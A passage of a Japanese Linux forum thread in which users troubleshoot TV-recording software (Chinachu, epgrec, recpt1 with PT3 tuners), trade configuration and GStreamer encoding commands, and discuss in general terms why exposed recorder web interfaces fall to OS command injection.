でも他をひっくるめても TX100の標準搭載2Gで事足りると思うよ

+4Gは dual channelにするためじゃない?

123
109[sage]   投稿日:2014/02/02 16:37:47  ID:Vc/fJlI3.net
グラフィカル環境は使わず、sshと緊急用シリアルコンソールでアクセスします。
簡単な指令はCGI経由でも出来るように細工。赤外線リモコン的に。

topとiotopの状況をうpしてみました。
top → http://pc.gban.jp/?p=58203.png
iotop → http://pc.gban.jp/?p=58202.png

recpt1とsplitを1組にしても、実メモリで2MB弱くらいかな。
httpdが出てくるのは、BSプレミアムをリアルタイム視聴しているから。
6GB積んだのは、HDDへの書き込みがブロックされたときの受け皿として考えてました。
自作はやらないのでデュアルチャネルは知らなかったよ。
I/Oは双方向で100MB/sいかないです。SATAの理論値が600MB/sだから余裕あると思う。

124
login:Penguin[sage]   投稿日:2014/02/02 19:12:00  ID:Nh3ytFx1.net
>自作はやらないのでデュアルチャネルは知らなかったよ。
念のため言っとく
デュアルチャネルはメモリの位置が決まっているからもともと付いてるメモリから1つ空けて増設しないと有効にならないよ

125
login:Penguin[sage]   投稿日:2014/02/07 01:41:49  ID:Q8NWRqJT.net
avconv なんだ更新するたびに option 関係が変わってる気がする

126
login:Penguin[sage]   投稿日:2014/02/07 23:01:05  ID:s6ESi565.net
chinachuはついにtimelineからtimetableへと脱皮するのか
コメント1件

127
login:Penguin[sage]   投稿日:2014/02/08 00:56:16  ID:CrqQxodq.net
avconvはドキュメンテーションされてないオプションあったりするな。

128
login:Penguin[sage]   投稿日:2014/02/08 10:51:14  ID:KO4LgFeI.net
ffmpegと内ゲバした顛末がこれかよ

129
login:Penguin[sage]   投稿日:2014/02/08 11:21:25  ID:FjF3FGiP.net
素人はとりあえずffmpegを使い続けてればいいのかね
avconvとの差分って何

130
login:Penguin[sage]   投稿日:2014/02/08 13:14:12  ID:Y2+EZnPP.net

131
login:Penguin[sage]   投稿日:2014/02/09 03:35:04  ID:aY18TYtp.net
Chinachu の x264 は yasm 切ってるけど、コレ有効にしたら
avconv の -preset をもうちょっといいのにできそうなんだよなー。
yasm の最新も入れるのが必須になっちゃうけど。

132
login:Penguin[sage]   投稿日:2014/02/09 13:41:36  ID:qTc/AZEn.net

133
login:Penguin[sage]   投稿日:2014/02/09 21:45:33  ID:bI564kSH.net
>132
今日からです。
コメント1件

134
login:Penguin[sage]   投稿日:2014/02/10 02:48:36  ID:czJY8syy.net
chinachuのこれはそのうち1パージの表示局数とか
放送波別とかの設定できるようになるのかな

135
login:Penguin[sage]   投稿日:2014/02/10 16:07:42  ID:IpV5fiCU.net
epgrec UNAをインストールしたんだが、DBに鬼のようにインデックスが付いててびびった。

136
忍法帖【Lv=6,xxxP】(1+0:8) [sage]   投稿日:2014/02/11 09:07:58  ID:bawlrzaV.net
program_type_idxみたいに2,3種類のレコードしか格納しないインデックスは
明らかに無駄ってわかるんだけど、
SQLもepgrecの内部処理もよく知らないから、他のインデックスが消せない

137
login:Penguin[sage]   投稿日:2014/02/11 09:58:48  ID:egL7n+lY.net
たくさんあってもそこまで害があるわけでもなかろう。
#見てないが。

138
login:Penguin[sage]   投稿日:2014/02/13 00:47:44  ID:OWFEHq+1.net
EPGの更新に時間がかかる可能性がある。
番組タイトルや番組説明なんかのテキストデータにBTreeインデックス付けてなんかいいことあんのか。
コメント2件

139
login:Penguin[sage]   投稿日:2014/02/13 02:25:42  ID:mNmXCNpp.net
>138
0.1秒もかからないことを気にしてどうする?
コメント1件

140
login:Penguin[sage]   投稿日:2014/02/13 04:19:52  ID:BY6ts/hW.net
>139
お義父さん、ぼくに0.1秒をください!

141
login:Penguin[sage]   投稿日:2014/02/13 04:43:33  ID:hHB/yirp.net
健全でない言葉が含まれているため表示しません 内容を確認する

142
login:Penguin[sage]   投稿日:2014/02/13 04:44:38  ID:K07wb9hX.net
>138
検証もせずに実際に起きてすらいない可能性でイチャモンつけるとか誰得だよ

143
忍法帖【Lv=7,xxxP】(1+0:8) [sage]   投稿日:2014/02/13 07:25:04  ID:AXuG/mf1.net
BTREEは先頭一致だっけ?
番組内容を先頭一致で検索するケースが思い当たらないっていうことじゃないの

144
login:Penguin[sage]   投稿日:2014/02/14 00:46:30  ID:Uza1DMhE.net
番組名なんかはFULLTEXTのが良さそうだよな

145
login:Penguin[sage]   投稿日:2014/02/17 18:26:16  ID:g5IJEgf6.net
録画予約の30分前に起動するようにwakealarmをセットしてpm-suspendしてたら、
レジューム後最初に走るatジョブだけ10数分遅れて起動しましたが、こういうことってあるんでしょうか。
ほぼ同時刻に走るEPG取得用のcronは遅れておらず、pt3ドライバが吐くログを見ても
cronジョブがデバイスを使い始めてから10数分遅れで2つ受信機を使うようになっていたので
時計が遅れていたわけではないみたいです。

146
login:Penguin[sage]   投稿日:2014/02/17 21:40:08  ID:x4xLbro0.net
シャットダウンからのatが使えるなら、それを推奨したい
俺の環境ではサスペンドだと録画すらこけることがあった
コメント1件

147
login:Penguin[sage]   投稿日:2014/02/18 12:32:43  ID:3dtpVmXQ.net
レジューム後は負荷が上がってるからatdがジョブを実行しないってだけじゃないの?
atd -l のデフォルトは0.8みたいだ

148
145[sage]   投稿日:2014/02/18 18:27:56  ID:VqePyZ1F.net
wakealarmはジョブの30分前だったし、muninのログでもロードアベレージは0.2ぐらいでした

149
login:Penguin[sage]   投稿日:2014/02/18 19:41:26  ID:+hnywknP.net
>146
横から失礼
具体的にはどうやるの?

150
145[sage]   投稿日:2014/02/19 18:28:35  ID:cEyZ7sjX.net
やっぱりatが遅れるのでレジューム後にatdを再起動するように設定した。
いまのところうまくいってる。
ソースをちょっと見たところどうもatdはsleep(次のジョブの開始時刻-現在時刻)してるみたいだ。
コメント1件

151
login:Penguin[sage]   投稿日:2014/02/19 19:22:45  ID:EyPpc4oU.net(2)
CentOS6.5 64bitにrecpt1のhttp版導入したんだが、
VLCとかBonDriver_HTTPで接続すると、
getnameinfo(): Temporary failure in name resolution
て出た

/etc/hostsファイルに
見る方のクライアントPCのアドレスとホスト名調べて
192.168.0.1 www.hoge.co.jp
みたいに追加したら解決した

超初心者の自分が苦しんでたところです。
ググっても出ないんで質問する寸前に解決しました。
LAN内での名前解決とかよくわからないです。

152
login:Penguin[sage]   投稿日:2014/02/19 23:17:32  ID:EyPpc4oU.net(2)
http://orebibou.blogspot.jp/2013/10/centoschinachu.html
ここを参考にCentos6.5 64機にChinachu導入させていただいたんですけど、

クライアント側のPCのIEのアドレスに
http://<サーバのIPアドレス>:10772
入れても接続できません。

また
サーバ側でFirefoxで
http://127.0.0.1:10772
でも接続できないです。

サーバのファイアーウォールで10772のtcpとudp、www80/tcpを許可しても、
SELinux切ってもダメでした。

何か情報ご存じのかたいらっしゃらないでしょうか。
Apacheはインストールしてません。
必要でしょうか。
コメント2件

153
login:Penguin[sage]   投稿日:2014/02/20 07:59:27  ID:lUj9R7ni.net
>152
接続できないというのをもう少し詳しく。IEやfirefoxに表示されるメッセージは?

あとちゃんとサービスは起動してる? コマンドラインで
$ ps aux | grep chinachu
して、chinachu-operatorとchinachu-wuiがあるか確認するといい
コメント1件

154
Penguin[sage]   投稿日:2014/02/20 09:50:05  ID:wz2W7nUx.net(4)
>152
俺がハマったのと同じ原因なら、IPv6を有効にするか、config.jsonの
"wuiHost" : "::",
の"::"はIPv6の表記だから
"wuiHost" : "0.0.0.0",
に変更すればいいはず。
コメント2件

155
152[sage]   投稿日:2014/02/20 12:08:04  ID:GZ2YG9Oc.net(6)
>153
>154

返信ありがとうございます。
おっしゃる通りサービスが起動してませんでした。

$ sudo service chinachu-operator start
として、
Starting chinachu-operator: OK.
と表示され、サービス起動しても、

$ ps aux | grep chinachu
でも見つからず、

$ sudo service chinachu-operator status
chinachu-operator is dead but /var/run/chinachu-operator.pid exists.
と表示され、サービスは止まってしまっているようです。

もう一度インストールから全部見直したいと考えております。
コメント1件

156
152[sage]   投稿日:2014/02/20 12:54:53  ID:GZ2YG9Oc.net(6)
解決いたしました。
みなさんありがとうございました。

・やったこと
http://orebibou.blogspot.jp/2013/10/centoschinachu.html
このサイトを参考に導入していったのですが、うまくいきませんでした。

このサイトではchinachuの実行ユーザーを作り、スイッチした後、またrootに戻って、
その後の処理が全部rootで実行されているようです。

そこで公式の手順
https://github.com/kanreisa/Chinachu/wiki/Installation
と同じくchinachuからsudoして導入しなおすことにしました。

環境をもとに戻すため、chinachu-operatorとwuiを
chkconfigのdelオプションでサービスから削除しました。

次に/etc/init.d/のchinachu-operatorとwuiをrmで削除
最後にインストールしたChinachuをrmのrオプションで削除

そしてまずchinachuでsudoを使えるように、
chinachuにpasswdでパスワードを設定し
visudoコマンドで/etc/sudoersファイルを編集します。(このときsudoersのパスはいらない)
root ALL=(ALL) ALLの下に
chinachu ALL=(ALL) ALLを追加しました。

そして先ほどの導入案内のサイトのコマンドにすべてsudoをつけて実行したところ
うまくサービスも動き、
http://<サーバのIPアドレス>:10772
にもアクセスできました。

長文失礼しました。これから導入する人の参考になればいいかと思います。

157
login:Penguin[sage]   投稿日:2014/02/20 12:58:46  ID:wz2W7nUx.net(4)
>155
chinachu/log/配下のログは見てないの?
それとWebサービスはoperatorではなくwuiのほう。
まあ、operatorのプロセスも動いてないようだからそっちも問題だが。
コメント1件

158
login:Penguin[sage]   投稿日:2014/02/20 14:07:15  ID:+y/xeKBp.net
そのブログとブログ内の参考ってサイトの通りにやって導入問題なかったけど、どっかで手順間違えたんでね?
コメント1件

159
login:Penguin[sage]   投稿日:2014/02/20 15:00:16  ID:GZ2YG9Oc.net(6)
>157
はい、wuiの方も動いていませんでした

>158
よく考えたらそうですね
sudoはrootで実行してるのと変わらないはずですよね
導入サイトの人、申し訳ない


サービスは実行できたんですが、今度はEPGが取得できないです

# ./chinachu update -f
20 Feb 14:51:30 - GETTING EPG.
20 Feb 14:51:30 - STATUS: { completed: 0, waiting: 9, worked: 0, running: 0 }
ですぐに終了してしまいます

recpt1はSTZ版使ってます。
recpt1 --device /dev/pt3video2 --b25 --strip --sid SID1 27 100 testrecpt1.ts

できちんとNHKを100秒間録画もできてます

いろいろ試して解決できたらここに報告しようと思います
コメント1件

160
login:Penguin[sage]   投稿日:2014/02/20 15:05:16  ID:pKSigAZH.net
あなたの間違えの報告はいらないと思います

161
login:Penguin[]   投稿日:2014/02/20 15:18:27  ID:RVeYELjK.net
最後まで報告してくれたら、人の失敗って初心者には有り難い

162
login:Penguin[sage]   投稿日:2014/02/20 15:24:19  ID:OLMILZAm.net
今現在の試行錯誤の経緯は悪くはないと思う。

オープンソース系の過去記事って
その時々の関連ソフトのバージョンに依存することが多く、
Liveでは役に立たない場合もあるから

163
login:Penguin[sage]   投稿日:2014/02/20 15:28:13  ID:wz2W7nUx.net(4)
>159
config.jsonで不要なtunersエントリとchannelsエントリは消した?
> 注意: chinachu-operatorはConfigurationを完了させてから起動してください
これに従ってれば出来てるはずだけど^^;
コメント1件

164
login:Penguin[sage]   投稿日:2014/02/20 16:26:40  ID:GZ2YG9Oc.net(6)
>163
{
:(省略)
"tuners": [
{
"name" : "PT3-T1",
"isScrambling": false,
"types" : [ "GR" ],
"command" : "recpt1 --device /dev/pt3video2 --b25 --strip --sid <sid> <channel> - -"
}
],

"channels": [
{ "type": "GR", "channel": "27"}
]
}
こんな感じでチューナー地上波1つだけ、チャンネルNHKだけにしてもダメでした。
コメント1件

165
login:Penguin[sage]   投稿日:2014/02/20 16:32:00  ID:wz2W7nUx.net(4)
>164
チューナーのlockファイルが作成されたままとか
chinachu/data/tuner.*.lock
手動で削除するか、chinachu unlock
コメント1件

166
login:Penguin[sage]   投稿日:2014/02/20 16:41:20  ID:GZ2YG9Oc.net(6)
>165
ありがとうございます。
できました。

あからさまにいろんなサイトに書いてあったのにPT2のことだろうと高をくくってたのが間違いでした。

親切に何度もアドバイスしていただいてありがとうございました。

167
login:Penguin[sage]   投稿日:2014/02/20 16:58:33  ID:GZ2YG9Oc.net(6)
サービス開始する前に、
config.jsonの編集しないと、デバイスIDがロックしてしまうのは、PT3も例外じゃなくて、
config.sample.jsonにはtunerのところにPT3のほかにFSUSB2も入っているので、
PT3を使っていてもロックしてしまうのか・・・
しかも一度ロックしたらアンロックしないと再起動等しても二度と元に戻らないのか

168
login:Penguin[sage]   投稿日:2014/02/20 17:01:34  ID:BeqqS/T9.net
>150
随分前に報告されて修正済のはずのバグで同じようなのがあるね

Bug 592349 - atd jobs are executed delayed after wakeup from suspend-to-RAM
https://bugzilla.novell.com/show_bug.cgi?id=592349

regressionなら上流に報告した方がいいような気がする

169
login:Penguin[sage]   投稿日:2014/02/20 21:02:26  ID:nD5gcWj8.net
>> 150

同様の症状に悩まされたので,レジューム後にrebootして対応してた.
atdを再起動する方がスマートなのでやってみたらうまくいった.
S4からしか復帰できないマシンではこの方法が有効みたいだね.
ありがとう.

170
login:Penguin[sage]   投稿日:2014/02/22 12:29:19  ID:Z4whPa0g.net
最近epgrecだけじゃなくて一緒にfoltiaもスキャンしていくようになったね

171
login:Penguin[sage]   投稿日:2014/02/22 12:42:11  ID:M9IcI01h.net
foltiaもなんか穴あるのかね?

172
login:Penguin[sage]   投稿日:2014/02/22 13:28:44  ID:KWgA+Zib.net
epgrecを公開しているサーバをどうやって見つけてるんだ?
コメント1件

173
login:Penguin[sage]   投稿日:2014/02/22 13:49:16  ID:/1QUgAaD.net
まあWUIがあるやつは基本、丸見えだからw
もちろんwindowsのアプリもだよ

そういえばchinachuは被害でてるのかな?
自身に認証機能があるから大丈夫なんだろうか

>172
日本のIP総当り
コメント1件

174
login:Penguin[sage]   投稿日:2014/02/22 14:30:39  ID:RImL/fUz.net
この界隈でおまんちん系に引っかかったIPを総当たりならさらに効率的かな
エラーレスポンスの内容やラグの差異だけで鯖種別は高精度にバレるらしい
>173
chinachuはnode.jsに乗っかってssl通信だから
node.jsの堅牢性(実績はほとんどないが…)次第だな

175
login:Penguin[sage]   投稿日:2014/02/22 14:38:08  ID:NLDbFnE2.net
$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! decodebin ! \
videoparse format=i420 width=1920 height=1080 framerate=30/1 ! vaapiencode_h264 ! \
qtmux ! filesink location=test.mp4

動いたよー。
ivy なんだけど動かない人はCeleronな人です。
ivy Core i3 IHYしてきたよー。
コメント1件

176
login:Penguin[]   投稿日:2014/02/23 00:38:59  ID:V9AtILcR.net
foltiaも内部処理はPerl使ってるけどフロントにPHP使ってるから
外部公開してるなら脆弱性突かれたりするかもね
(…そもそも外部公開するのが間違いだが)

177
login:Penguin[sage]   投稿日:2014/02/23 00:58:24  ID:3O5p5FUo.net(2)
録画データが狙われてんだから脆弱性なんて二の次だよ

178
login:Penguin[sage]   投稿日:2014/02/23 01:20:55  ID:nMvAnbvA.net
今までも別にPHPの脆弱性突かれたわけじゃないでしょ?
OSコマンドインジェクションをPHPのせいみたいに書くのはどうかと思うな
アプリ側の実装が悪いせいなのにね
コメント1件

179
login:Penguin[sage]   投稿日:2014/02/23 01:29:20  ID:3aa5Ap8T.net(2)
いやいや、管理画面を絶賛公開中にするユーザーの問題だろ
コメント1件

180
login:Penguin[sage]   投稿日:2014/02/23 01:41:20  ID:3O5p5FUo.net(2)
「ユーザーの責任」で問題を直視しないからepgrecは狙われたんだけどね

181
login:Penguin[sage]   投稿日:2014/02/23 01:55:40  ID:6jrWPz2S.net(4)
>179
epgrecは管理画面とか関係ないでしょ。
そもそも外部公開を考慮されてないから、外からでも実行ファイル改変が容易になってる。

182
login:Penguin[sage]   投稿日:2014/02/23 02:48:59  ID:3aa5Ap8T.net(2)
管理画面かインストーラで外部コマンドのパスを書き換えるんじゃないのか

183
login:Penguin[]   投稿日:2014/02/23 09:20:57  ID:+vNxibz1.net
>178
Linuxに脆弱性が無いので、PHPが悪いと思います。
コメント1件

184
login:Penguin[sage]   投稿日:2014/02/23 11:05:28  ID:bGKyp/dp.net
>183
論点ずれてるぞ

185
login:Penguin[sage]   投稿日:2014/02/23 13:52:19  ID:2C0q49Oq.net
もしかして、しょぼい実装によっておきた脆弱性のことを指して
「PHPのせい」って言ってるのかな。
個人的には「PHPのせい」っていうと、処理系・実行環境の脆弱性を
指してるものだと感じるけどw

186
login:Penguin[sage]   投稿日:2014/02/23 14:23:39  ID:kCy6btiQ.net
epgrec も foltia も chinachu もインターネット公開を前提としてない設計のような気が

ゴルフカートで一般道走って安全性に問題があると言われているようなもの
コメント1件

187
login:Penguin[sage]   投稿日:2014/02/23 14:59:53  ID:6jrWPz2S.net(4)
>186
まあそういうことだ。
ただ、そういうことが分かんない層がLinuxを使い始めてるってことも現実なのかもしれない。
とすると、それなりに対応を取っておくほうがいいかもしれないとは思う。epgrecとかが叩かれないためにはね。
別に難しいことじゃない。
設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。

188
login:Penguin[sage]   投稿日:2014/02/23 15:15:02  ID:sw+Hz6p+.net
認証かけてても暗号化してない著作権のあるファイルをネット上で通信させたら問題
LANの外に出さないようにってしといたほうがいい
まぁそれ以前にLinuxでっていう問題って話もあるけど・・・
コメント1件

189
login:Penguin[sage]   投稿日:2014/02/23 15:24:02  ID:6jrWPz2S.net(4)
>188
そりゃ違うだろ。
川の水を汲んで使っても問題にならなくても、ドアで区切られた私有地の池の水を汲んで使っちゃいけない。
ドアが頑丈かどうかは関係ない。

190
login:Penguin[sage]   投稿日:2014/02/23 15:43:22  ID:5njkYWHQ.net
>設定画面の最初に、「外部に直接公開されますので、認証をかけるか、ポートを遮断して下さい」と注意喚起しておくだけでいい。
>45-46みたいな事があるからセキュアじゃなきゃ使えないようにしなきゃね
著作物を扱うんだからユーザーをいろんな意味で信用しちゃダメだよ

191
login:Penguin[sage]   投稿日:2014/02/23 15:50:36  ID:6jrWPz2S.net(4)
そうだろうか?
TV録画したBlurayDiscを家の外の物置に置いておいて盗まれたら、置いた人間の責任だろうか?

192
login:Penguin[sage]   投稿日:2014/02/23 16:26:49  ID:q+unEWQz.net
これって一体誰の為の議論なん?
ここでやるのすげー無意味じゃね

193
login:Penguin[sage]   投稿日:2014/02/23 16:28:11  ID:rO/K4Cxj.net
まぁ話題もないしな平和な証拠。

194
login:Penguin[sage]   投稿日:2014/02/23 23:25:27  ID:Li5CEq7v.net
そうだそうだ

195
login:Penguin[]   投稿日:2014/02/24 00:11:48  ID:C0UU+8KH.net(2)
OSコマンドインジェクションという言葉を初めて知ったわ
どうやったら実行できるんだろう(実際侵入例あるから、何らかのやり口があるのは理解してる)
コメント1件

196
login:Penguin[sage]   投稿日:2014/02/24 01:01:45  ID:SvUiem2S.net

197
login:Penguin[]   投稿日:2014/02/24 01:37:27  ID:C0UU+8KH.net(2)
健全でない言葉が含まれているため表示しません 内容を確認する
コメント2件

198
login:Penguin[]   投稿日:2014/02/24 04:44:20  ID:pxOXDkec.net
すごくい今更ですが
Ubuntu13.10とIODATA GV-MVP/RX2使って
CATVパススルーで地上波観ようとしてるんですが
v4l2コマンドやivtv-tuneコマンドでひと通り設定して
mplayerで再生しても、砂嵐+ノイズ状態です。
何故か95MHz前後でNHK-FMが聴こえたり。

RX3/on Windowsではちゃんと映ってたので
電波は来てるはずなのですが。
解決方法ありませんでしょうか?
コメント1件

199
login:Penguin[sage]   投稿日:2014/02/24 05:13:15  ID:OtskWUo5.net
東北の方ってまだアナログ電波出してたんだっけ?

200
login:Penguin[sage]   投稿日:2014/02/24 06:48:30  ID:ncNxCeg6.net
デジアナ変換でしょ

周波数あってんならチューナー指定に問題あるんじゃね

201
login:Penguin[sage]   投稿日:2014/02/24 08:47:51  ID:VBfVdpgK.net
>133
ネタかと思ったらマジだった!
使い勝手良くなったね!

>197
http://falconws.blogspot.jp/2014/01/epgrec.html

202
login:Penguin[sage]   投稿日:2014/02/24 14:19:43  ID:uizzjhke.net
こんなときのSELinux

203
login:Penguin[sage]   投稿日:2014/02/24 15:23:29  ID:gSmlv+nh.net
>197
OSコマンドインジェクションは言語関係ないんだよ
どの言語で作ってようが、shellに値を渡す部分でサボってるとやられる

204
login:Penguin[sage]   投稿日:2014/02/24 19:18:41  ID:2uCR+DkZ.net(2)
流れを読まずに張るぜ
tsselect-linux をcentos32bit で使う場合はこうだ
改行多すぎって言われたので分けるぜ
@@ -1,3 +1,5 @@
+#define _LARGEFILE64_SOURCE
+#define _FILE_OFFSET_BITS 64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
@@ -6,10 +8,10 @@
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
+#include <unistd.h>

#define __int64 int64_t

-
typedef struct {

int pid;

205
login:Penguin[sage]   投稿日:2014/02/24 19:19:22  ID:2uCR+DkZ.net(2)
@@ -202,8 +204,8 @@
goto LAST;
}

- lseek64(fd, 0, SEEK_END);
- total = lseek64(fd, 0, SEEK_CUR);
+ total = lseek64(fd, 0, SEEK_END);
+ //total = lseek64(fd, 0, SEEK_CUR);
lseek64(fd, 0, SEEK_SET);

stat = (TS_STATUS *)calloc(8192, sizeof(TS_STATUS));
@@ -458,8 +460,8 @@
goto LAST;
}

- lseek64(sfd, 0, SEEK_END);
- total = lseek(sfd,0,SEEK_CUR);
+ total = lseek64(sfd, 0, SEEK_END);
+ //total = lseek64(sfd,0,SEEK_CUR);
lseek64(sfd, 0, SEEK_SET);

offset = 0;

206
login:Penguin[sage]   投稿日:2014/02/24 21:34:15  ID:KckVOifo.net
Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw
JVM 言語はその機能を JVM にわざわざ持ち込む(再実装する)文化が
ほか言語より強いので、他言語に比べるとシェルを経由する機会が少ない感じはある。

でも結局、Java で録画システム作るってなると、お手軽さからシェル経由する
実装になりそうだけど。
コメント1件

207
175[sage]   投稿日:2014/02/24 22:06:42  ID:vr3QYziQ.net
>175
空気を読まずに一人で続き。
音声含めてリアルタイムエンコードしたい場合はこんな感じ。

$ recpt1 --b25 --sid=101 101 101 - | gst-launch-1.0 fdsrc ! tsdemux name=d d. ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! videoparse format=i420 width=1920 height=1080 framerate=30000/1001 ! \
vaapiencode_h264 ! m. d. ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-format=raw ! \
matroskamux name=m ! filesink location=test.mkv

で、これでエンコードしちゃうと動画と音声が同期しなくなる。0.3秒ぐらい音声と動画がズレる。
動画と音声ストリームのそれぞれきちんと頭出ししてからエンコードしてあげなければならない。
TSパーサはずいぶん前に書いた気がするんだけど、TSストリームでの頭出しできるコードを書きますかね。
コメント1件

208
login:Penguin[]   投稿日:2014/02/25 00:05:22  ID:hKg2K+RL.net
>198
GV-MVP/RX2Wならずいぶん昔にFedoraやCentOSでつかってたけど、
その頃はドライバにパッチあてて、/etc/modprobe.confに
option ivtv tuner=46 ntsc=j
だったか入れないとだめだったはず

とりあえず、
sudo rmmod ivtv
sudo modprobe ivtv tuner=46 ntsc=j
を実行してから、mplayerで再生するとどうなる?
コメント1件

209
login:Penguin[]   投稿日:2014/02/25 00:54:24  ID:z9E+HSZQ.net
>208
Ubuntuフォーラムにも投稿したんだけど
Ubuntu12.10にダウングレードしたら普通に使えました。
Ubuntu13.10だと、$ v4l2-ctl --list-standardsでNTSC-M-JPがどうしても出てこない。
それが原因っぽいです。

210
login:Penguin[sage]   投稿日:2014/02/25 02:33:16  ID:2dHIcmc2.net
最初から一つ一つ丁寧に追っていかないと
かつて使ってた人だって環境も記憶もないところへ、新しいシステムへの対応とか
雲を掴むような話でしょ

211
login:Penguin[sage]   投稿日:2014/02/25 14:22:37  ID:Rg/uwwO/.net
>207
gstreamerって各バッファ(フレーム)にタイムスタンプ付けてるし
以前パッチ当てgstreamerでdvbbasebinをソースに使って(再muxのみの)テストした時はズレてなかったよ
recpt1からPMTやPCR渡ってるのかな
recpt1からそのまま全体で入力して tsparse program-numbers=xxx !.... とかだとPMTもPCRも渡るはず
それに videoparse format=... のエレメントって
mpeg2decがフレームフォーマットをバッファのcapsとしてくっつけてるはずだから不要なんではないか
コメント1件

212
login:Penguin[sage]   投稿日:2014/02/25 21:49:55  ID:HOT2vkLs.net
>206
> Java で OS コマンドインジェクション起きにくいってのはわからなくはないなw

「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
プロセスをopenしたりするときに"|"を使ってリダイレクトできる便利な方がシェル経由。

まず、OSコマンドインジェクションが言語関係ないというのは一応正しい。
確かにシェル経由で外部プロセス呼び出しを行っているならば言語は関係ない。
どの言語でも危険。注意して使わないといけない。

だけど違いはシェル経由ではない外部プロセス呼び出しにあって
こちらならOSコマンドインジェクションは発生しない
なのでなるべくシェル経由でない方を使った方がいいわけだがここで差が出てくる。

JavaだとLinuxで動かすとは限らないから、シェルの機能に依存しないように作る。
だからシェル経由でない外部プロセスを使うことのほうが多い。
故にOSコマンドインジェクションになりにくい。

そしてPHPはシェル経由ではない外部プロセス呼び出し機能がない。
この場合しっかりエスケープする必要があって、これを忘れるとOSコマンドインジェクションになる。
よってOSコマンドインジェクションになりやすい。

徳丸浩の日記 PHPだってシェル経由でないコマンド呼び出し機能が欲しい
http://blog.tokumaru.org/2013/12/php_21.html

213
login:Penguin[sage]   投稿日:2014/02/25 22:24:57  ID:Xo6tXI3I.net
>211
レスさんくす

recpt1からPMTやPCRは渡してますよ。でもズレる
tsparse program-number=999 ! でやってみましたが、これでもズレます。

videoparse format= のエレメントは付けないとパイプラインが動かないのです。
ERROR: pipeline doesn't want to preroll.
が出てしまう。
本来であれば不要なはずなのですかね。

214
login:Penguin[sage]   投稿日:2014/02/26 12:41:23  ID:sR5FDHsu.net
gst-launch-1.0 filesrc location=foo.ts ! tsdemux program-number=298 name=d d.video ! \
video/mpeg ! queue ! mpegvideoparse ! mpeg2dec ! theoraenc bitrate=1024 drop-frames=false ! m. \
d.audio ! audio/mpeg ! queue ! aacparse ! audio/mpeg, mpegversion=2, stream-fromat=raw ! \
matroskamux streamable=true name=m ! filesink location=foo.mkv
だとズレてないね... (パッチ当てgstreamerでdefaultの"video","audio" srcpadを使ってるけど)

TVをLIVEで入力するとズレちゃうのか
(レイテンシの絡みで?)vaapiでエンコする時にタイムスタンプいじられちゃうのか

215
login:Penguin[sage]   投稿日:2014/02/26 20:36:55  ID:mfb4M/ja.net
> 「外部プロセス呼び出し」と「シェル経由で外部プロセス呼び出し」は別物だよ。
それがわかってるならなぜ「外部プロセス呼び出し」の話を出したんだろう。
その前見ても外部プロセス呼び出しの話はしてないと思うんだが。

epgrec の件を見るに、PHP にも外部プロセス呼び出しほしいですね
っていう話だけなら、その通りだとは思うけど... なぜ俺のレスにつけたんだw

216
login:Penguin[sage]   投稿日:2014/02/27 02:03:41  ID:9USAFaDw.net(2)
chinachu をテスト機にインストールしてみた
なかなかイイね。
番組表も新聞形式になって、
直感的に使いやすい

でも録画番組の再生に関しては
今のところはPCのWebブラウザ操作を前提としてて、
スマホやタブレットではまともに再生できないような気がする

この辺りは流石に商用のfoltia ALの作り込みは良くできてる
スマホやタブレットからでも再生できるし
DLNAによるSTBやTVからの再生も
実用的に使いやすくなってる

chinachuの番組表、予約インターフェイスと
foltia ALの再生環境が組み合わされば最強と思えるが
使ってる技術が違いすぎて困難だよなぁ
コメント1件

217
login:Penguin[sage]   投稿日:2014/02/27 07:43:29  ID:C1ptvHMZ.net
ちなちゅもfoltiaも知らんけどmp4の直リンぐらいで再生できんのけ?
おらのスマホはそれで見れるんだが。
コメント1件

218
login:Penguin[sage]   投稿日:2014/02/27 08:25:11  ID:LgbQ+803.net
>216
>スマホやタブレットではまともに再生できないような気がする

SMB共有かけてファイルブラウザから見るとか、miniDLNAとかTwonkyServerの類を突っ込めばええだけでね?

219
login:Penguin[sage]   投稿日:2014/02/27 11:04:50  ID:9USAFaDw.net(2)
>217-218
chinachuはmp2tsをrecordedフォルダに格納していくだけなので
MPEG2 TSデータを直接再生できるスマホやタブレットじゃないとダメで
少なくともiOS機ではできない

単純に単一フォルダにファイルを置いていくだけだから
このフォルダをDLNAやSMBで公開しても、
最初は使えるけど、
録画ファイルが増えてくと、
探すのが大変になるし、
DLNAの場合はリスト表示に時間がかかるようになる

foltia ALは録画後に携帯端末で再生できるmp4にエンコしてくれるし、
DLNAやSMBで再生しやすいように
日付やタイトル毎に階層構造で表示するので
ストレスなく使えるようになってる

foltia ALは中のスクリプトはゴチャゴチャだけど
ユーザ視点で使いやすい再生環境にはなってる
コメント1件

220
login:Penguin[sage]   投稿日:2014/02/27 11:35:33  ID:chvQqe4c.net(2)
iPhone版VLCを使えば再生できる

221
login:Penguin[sage]   投稿日:2014/02/27 11:36:59  ID:chvQqe4c.net(2)
iOS版だった

222
login:Penguin[sage]   投稿日:2014/03/02 10:26:08  ID:OLjNztd+.net
ザオリク

223
login:Penguin[sage]   投稿日:2014/03/02 11:28:19  ID:QiErUlUU.net
nPlayerでも見えるな

224
login:Penguin[sage]   投稿日:2014/03/02 13:51:41  ID:QOjDZ+Bt.net
おかえり

225
login:Penguin[sage]   投稿日:2014/03/02 15:59:41  ID:lGTJnogs.net
epgrecUNAをちょっといじろうと思ってソース見てみたけどとんでもなくカオスだった。
作者はよくこれを管理できるな。素直に感心する。

226
login:Penguin[sage]   投稿日:2014/03/02 20:56:15  ID:YvLVGd0r.net(2)
>219
Apple HTTP Live Streamingに対応してるよChinachuは

227
login:Penguin[sage]   投稿日:2014/03/02 21:15:11  ID:KaCPhf0w.net
LinuxでTV録画する際、コマンドrecpt1で番組情報(EPGデータ)をtsファイルに記録することはできる?

たとえばMXの「凪の明日から」→「ソードアートオンライン」という番組編成で、
ソードアートオンラインをChinachuを通しrecpt1コマンドで予約録画すると
Tvtest上部の番組名が「凪の明日から」から変わらないのに対し、

WindowsPCでECDBで録画し、録画した番組を見ると
